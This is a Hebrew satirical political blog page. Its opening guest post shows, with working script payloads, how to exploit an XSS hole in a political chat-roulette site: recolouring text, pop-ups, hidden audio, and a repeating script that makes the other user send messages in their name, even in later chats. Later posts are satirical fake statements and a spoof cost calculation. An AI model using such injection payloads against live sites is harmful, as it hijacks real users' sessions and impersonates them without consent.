קוסם בדיפווב דרגה 8 מיד: שאל את בן ואיציק כיצד (פוסט אורחת)

רשות הדיבור לבן מאירי ולאיציק פישר:

טוב, עם כל הכבוד לשטויות וההטרלות של "מישהו לריב איתו", אתם מפספסים את הדבר הכיפי ביותר שם – פרצת אבטחה שתיתן לכם להזריק מה שתרצו לצד השני, לפחות עד שיעשו טיפה אבטחת קלט שם (מן הסתם לא כל מה שתרצו, אבל מספיק שטויות כיפיות).

למשל, אם תכתבו 
<script> document.getElementById("chatbox").style.color = "red"; </script>
תצבעו את הטקסט באדום 
או למשל <img src="http://khaosok-smiley.com/wp-content/gallery/miscellaneous/green_smiley.png" alt="Smiley face" width="42" height="42">
תכניסו תמונה של סמיילי חמוד
ואם למשל תכניסו את הדבר הבא:
<script>alert("שלום צדיק, יש לך חמש דקות להניח תפילין?");</script>
יפתח בצד השני (ואצלכם) הפופאפ שבתמונה.


זו פרצה די גדולה באבטחה, אבל בתור קוסמים דרגה 8 בדיפווב זה לא מפריע לנו יותר מדי. בזכות כוחות עג"ג היינו עושים את זה גם בלי הפרצה.

עידכון #1 – בן ממשיך ומספר:

עכשיו הכיף עלה שלב. אפשר להפעיל גם סאונד בצד השני. התחלתי משטויות של קטעי סאונד כמו "העמוד ישמיד את עצמו תוך 3 2 1" אחר כך המשכתי לשימוש באתר http://vozme.com/index.php?lang=en שמייצר קבצי קול מטקסט, אבל הוא רובוטי ובעייתי ליצור דיבור עברי מטקסט אנגלי, אז כעת אני פשוט מפעיל לאנשים ברקע את Heat of the moment של אסיה (לינק לשיר בפורמט mp3) ואני והצד השני דנים על השלום על רקע שירי רוק טובים.

כאן לא יספיק שיר ביוטיוב, וצריך לינק ישיר לקובץ mp3 שנמצא ברשת. מצאתם כזה? הכניסו את הקוד הבא לצ'ט: <embed height="0" width="0" src="myMp3Url.mp3">

(כאשר במקום myMp3Url.mp3 כמובן יש להכניס את כתובת האינטרנט של קובץ ה mp3 שמצאתם.)

עידכון #2 – בן מגזים ממש:
טוב, ברגע שהצלחתי לכתוב קוד שנותן לי את היכולת ב"מישהו לריב איתו" בשם הצד השני זה הפסיק להיות כיף.
אבל אז זה חזר להיות כיף כשהבנתי שאני יכול לגרום לכך שאחרי שהוא יתנתק מהשיחה איתי זה ימשיך להקליד בשמו שטויות, גם כשהוא מדבר עם אחרים.

הקלדה בשם הצד השני:

<script type="text/javascript"> document.getElementById('m').value = 'new value'; var elem = document.getElementById('send_button'); if (typeof elem.onclick == "function") { elem.onclick.apply(elem); }if (typeof elem.click == "function") { elem.click.apply(elem); }</script>

(יש להחליף את new value בטקסט שאותו רוצים להכניס)

ואם אתם רוצים עם אינטרוול שיחזור על עצמו ויתקע את הצד השני גם בשיחות הבאות:

<script type="text/javascript"> setInterval(function(){ document.getElementById('m').value = 'ביבי המלך'; var elem = document.getElementById('send_button'); if (typeof elem.onclick == "function") { elem.onclick.apply(elem); }if (typeof elem.click == "function") { elem.click.apply(elem); }},3000); </script>

כאשר צריך להחליף את הביטוי "ביבי המלך" במה שזה לא יהיה שאתם רוצים שהצד השני יגיד מעכשיו לכל בני שיחו.

להדגמה חיה שכוללת השתלטותו של יצחק רבין ז"ל על הצ'ט הקליקו כאן.

מישהו להטריל איתו

אז כמה אנשים הרימו יוזמה יפה מאד של צ'ט רולט בין ימנים לשמאלנים בשם "מישהו לריב איתו". הרעיון הוא פשוט ויפה: נכנסים, בוחרים נטיה פוליטית, והמערכת מזווגת בין ימנים לשמאלנים באנונימיות למטרות התכתשות מילולית ללא נפגעים ובלי לערב הורים.

כמובן שהחשש הראשון הוא שאתה מדבר עם בוט.

אז התחזיתי לבוט.

 

מסוחרר מההצלחה, המשכתי אל הימני הבא:
dialog

אין מה לעשות, כנראה שהימין לא באמת מעוניין בדיאלוג.

 

 

הבעיה של השמאל (תרשים)

matzav_hasmol

 

 

רק רוצה להגיד שהתרשים הזה הוא בעיני סתימת פיות פריבילגית, והוא פשוט אופייני להלך המחשבה המנותק, שעד שלא יתחבר לתנועות גראסרוטס גלובליות לא יוכל לקךלחישדךגלויש'קךלן/'קןךוע'קכךןו…

ארגוני שמאל ישראלים: הנסיגה באשמתנו

קבוצת ארגוני שמאל קיבלה עליה את האשמה לדילול הכוחות בעזה וחבריה אף הביעו נכונות לקבל אחריות לנסיגה מלאה. מזכ"ל "שלום עכשיו", יריב אופנהיימר, מסר בהודעה לתקשורת: "תוך שיתוף פעולה של מגוון ידידים בתקשורת ובמערכת המשפט, הפעלנו לחץ עצום על ראש הממשלה, שבלית ברירה נעתר לבקשתנו והחל להסיג את כוחות צה"ל מרצועת עזה".

הציע לנתניהו הצעה שאי אפשר לסרב לה

דוברת "בצלם" שרית מיכאלי הוסיפה בשיחה עם כתבתנו: "נתניהו ויעלון הסתייגו חריפות מהמהלך, ואף רקעו ברגליים בכוח ועשו תנועות חזקות של 'לא לא לא' עם הראש, אבל באמת שלא השארנו להם ברירה, זה היה או זה, או שהם מאבדים את התמיכה שלנו."

שרי הקבינט הביעו מורת רוח מהמהלך, ובמיוחד מהתזמון, כאשר צה"ל עומד על סף מיטוט חמאס והטלת פצצת אטום במרכז עזה. למרות זאת, במהלך סקירה שהעביר ראש השב"כ יורם כהן, גם הניצים ביניהם נאלצו להודות שעוד טור של מיכאל ספרד ב"הארץ" הוא משהו שהציבור הישראלי והחוסן הלאומי לא יחזיקו מעמד מולו.

קצין בכיר במערך המודיעין סיכם הבוקר: "אני תקווה שארגוני השמאל ותומכיהם מבינים שהם האחראים הבלעדיים לכל חייל או אזרח ישראלי שיפגעו כתוצאה מהמהלך התבוסתני שהם כפו על ההנהגה והציבור הישראלי, כמו בכל הפעמים הקודמות."

לקט תגובות למבצע צה"ל בעזה והפגזת ישראל ע"י חמאס

חמאס וישראל יצאו הבוקר בהודעות לכלי התקשורת המקומיים בעקבות אירועי אמש ומבצע "צוק איתן":

חמאס: כוחות ההתנגדות ממשיכים למחוץ את ישראל, מיליוני ציונים מתים, הנצחון תיכף תיכף בידינו, באמא!

ישראל: מוכנים להפסקת אש רק אם חמאס יגידו "כן אדון, בבקשה אדון, אולי קפה על חשבון הבית?"

בהודעות שמסרו שני הצדדים לתקשורת העולמית הודיע כל אחד בנפרד רק שפניו לשלום ושהצד השני התחיל.

כתבינו הפרושים בשטח אספו תגובות נוספות:

"מטרות המבצע טרם הושגו במלואן, וזו רק ההתחלה אבל הכיוון נכון."
(רוצחיהם של יפרח, פרנקל, שאער ואבו ח'דיר)

"על תל אביב יורים טילים ובפריפריה שותים אספרסו!"
(אתם יודעים מי אתם, ועכשיו מספיק עם הבדיחה הזו)

"ומה עם סוריה?"
(בשאר אל אסד, רודן)

"אומייגוד אומייגוד אומייגוד אומייגוד אומייגוד אומייגוד אומייגוד אומייגוד"
(תל אביב, עיר)

<פיהוק>
<התהפכות לצד שני>
(שדרות, עיר)

"אני מקווה שאתם מעריכים את זה שלא הכנסתי פה שום רפרנס לכדורגל"
(ע. יבאור, משורר ואטב)

קוץ' מוץ' (פוסט אורח מאת נעםר)

ביום חמישי חשף ברק רביד את תקציב הקניות השנתי של משפחת נתניהו: 180,000 ש"ח אנחנו משלמים להם רק כדי ללכת לעשות קניות, וזה כמובן לא כולל את הטייק-אווי החביב עליהם ואת גלידת הפיסטוק. לזה יש תקציב נפרד.

כדי לנסות ולהבין את משמעות הסכום הזה, הכנתי חישוב קצר שמשווה את תקציב הענק של המשפחה המלכותית למנה שאכל ראש הממשלה הראשון של המדינה, ושנא כל כפית ממנה: קוץ' מוץ'.

 

אז ככה. כדי להכין מנה אחת של קוץ' מוץ' לראש ממשלה ישראלי, יש להצטייד בחומרים הבאים (המחירים נכונים ליום שישי, ה-30 במאי, באתר האינטרנט של שופרסל):

 

sal

אשל לבן 4.5% שומן (200 ג') – 1.65 ש"ח

גבינה לבנה 5% שומן תנובה (100 ג') – 2 ש"ח

תפוח מרוסק – תפוח ממוצע שוקל 150-180 ג', חצי קילו תפוחי עץ מזן "סמיט" עולה 4.95 ש"ח, מכאן שעלות תפוח ממוצעת – 1.65 ש"ח

כפית של סירופ פטל – ליטר סירופ פטל "ויטמינצ'יק" (במבצע!) – 9.90 ש"ח, כפית = 4.928925 מ"ל (נעגל לחמש), 200 כפיות בליטר, עלות כפית 4.95 אג'

———-

סה"כ עלות: 5.34 ש"ח למנה

 

180,000 ש"ח = 33,707 מנות קוץ' מוץ', ובקצב של מנה אחת ליום זה יספיק ל 92 שנים וארבעה חודשים.

 

המסקנות על אחריותכם.

 

מנהלתי: אשה רבת חסד הרימה תרומה לקרן הבירה וההתנחלויות, והקמנו על שמה מאחז בשם טירלולי נקמת דם עבדך השפוך ב'. שבוע טוב.

הולילנד – A blast from the past

לפני שנים רבות (ליתר דיוק באפריל 2010), כשאלוהים עוד היה ילד והבלוג הזה עוד לא נולד – ירום הודו הכין את התמונה הזו, שהתפרסמה במדור הסאטירי שכתבנו באותן שנים.

ואז נולד הבלוג והתמונה הזו היתה תמונת ה Header שלו בגלגולו הראשון.

נעים להזכר:

בתמונה: ירושלים של למה זה מגיע לנו